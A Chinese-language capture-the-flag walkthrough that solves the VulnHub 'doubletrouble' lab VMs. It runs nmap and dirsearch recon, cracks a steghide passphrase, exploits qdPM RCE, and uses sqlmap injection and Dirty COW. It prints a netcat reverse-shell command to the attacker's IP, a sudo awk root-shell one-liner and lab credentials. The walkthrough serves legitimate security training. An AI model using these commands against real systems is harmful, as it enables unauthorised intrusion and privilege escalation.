一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:doubletrouble(10.0.2.7)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/doubletrouble-1,743/
二、信息收集
使用nmap主机发现靶机ip10.0.2.7
使用nmap端口扫描发现靶机开放端口:22、80
80端口:打开网站,发现是一个登录界面,CMS为qdPM 9.1
。
本地搜索一下漏洞库,发现不少可利用的漏洞,但大部分漏洞需要用户名和密码。
searchsploit qdPM
使用dirsearch工具爆破目录。
http://10.0.2.7/install/
:可以重置管理员账号的用户名和密码,但重置后还是登录失败,可能是因为数据库中保存的密码并未被修改。(数据库的账号密码可以通过上面搜索的漏洞qdPM 9.2 - Password Exposure (Unauthenticated)
获取)。
http://10.0.2.7/secret/
:点击进去发现是一张可疑的JPG图片。
使用steghide
工具看看图片有没有隐写
steghide info doubletrouble.jpg
使用stegseek
工具进行密码爆破,破解成功获得账号密码:otisrush@localhost.com
\otis666
time stegseek doubletrouble.jpg /usr/share/wordlists/rockyou.txt
三、漏洞利用
运行本地漏洞库qdPM 9.1 - Remote Code Execution (Authenticated)
的exp,获取backdoor
使用nc反弹shell
nc -e /bin/s 10.0.2.15 8888
获取交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
四、提权
使用sudo -l
查看是否有特权命令,发现awk命令。
使用awk命令进行提权,获取root权限。
sudo awk 'BEGIN {system("/bin/bash")}'
在/root路径下发现虚拟机镜像,未发现flag,猜测这可能是第二层靶机。
在靶机内开启一个http服务,将第二个靶机下载下来。
cd /root/
python3 -m http.server 8080
将下载下来的镜像复制到主机,导入Virtualbox。
五、第二个镜像信息收集
使用nmap主机发现靶机ip10.0.2.8
,使用nmap端口扫描发现靶机开放端口:22、80
打开网站发现是一个登录界面。使用dirsearch工具爆破目录,未发现其他目录信息。
六、第二个镜像漏洞利用
直接使用sqlmap进行注入试试,发现是基于时间盲注。
sqlmap -r a.txt --dbs
爆破表:sqlmap -r a.txt -D doubletrouble --tables
爆破字段:sqlmap -r a.txt -D doubletrouble -T users --dump
尝试使用爆破出来的用户名密码登录网站,发现两个账号都登录失败。想到还开放了22端口,使用账号登录ssh,登录成功。
七、第二个镜像提权
查看内核版本:uname -a
内核版本为linux 3.2.0-4,可以使用脏牛漏洞,该漏洞影响 Linux 2.6.22 版本至 4.6 版本的所有 Linux 系统。
将exp上传到靶机,编译运行,成功创建具有root权限的用户,用户名为firefart
,切换firefart
用户获得root权限。
最后,获取flag